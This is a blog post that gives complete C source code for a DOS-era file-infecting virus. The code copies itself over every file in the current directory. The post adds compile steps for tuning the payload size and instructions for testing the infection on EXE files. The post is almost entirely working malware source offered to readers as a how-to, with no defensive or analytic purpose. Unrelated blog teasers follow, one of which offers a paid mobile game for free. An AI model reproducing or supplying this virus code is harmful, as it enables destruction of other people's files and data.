Skip to main content

Want to Create A Virus?

This is a simple C program that act as a virus. This program creates a copy of itself in the other file. Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on. Here’s the source code of the virus program.

#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h>

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}


Compile:
1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect. Now click here:



Testing the virus:
1. Open new empty folder
2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4. All the infected files will be ready to reinfect

Popular posts from this blog

Minecraft - Pocket Edition - $4.91 game for free

Mine Craft, a widely known game name worldwide. It is one of the most favorite games in the world. This game is now available for android mobile. Mine craft - pocket edition is all about building and surviving. This game is mostly created based on graphical blocks.  Google play store has this game up for $4.91. ETT is giving away the game absolutely for free. Download Minecraft - Pocket Edition from the bellow link. Minecraft - Pocket Edition

Download Apple Mac Theme for Windows

Most of the computer users in the world use clone PCs other than apple mac. So none of them gets the feeling of using an apple mac operating system. There is no easy way to use apple mac OS in the general clone PCs, but the user interface can be made like apple just by using this apple mac theme. This apple mac theme is very easy to install and use.  It can be installed normally.

How to create Windows 10 ISO from current installation

Microsoft Windows 10 is the most popular & need to use operating system these days. For both official and personal purposes. Each time you install a fresh windows 10 you have to install a bunch of required software. What if we could avoid that by making an ISO installation file of our own along with all of our required software already installed in it! Yup! For those who are looking for these options, this tutorial is for them. Let's find out how to create an installation media (ISO file) of Windows 10 from the current installation. To create an ISO file from the currently running Windows 10, you have to follow the below steps. 1. Download Microsoft's media creation tool. 2. Choose  Create installation media (USB flash drive, DVD, or ISO) for another PC  and hit Next . 3. Choose your preferred version of windows, architecture (32/64/amd), and language. Hit Next . 4. Choose ISO and hit Next  to start the ISO creation process. 5. Once complete, you will have an ISO ima...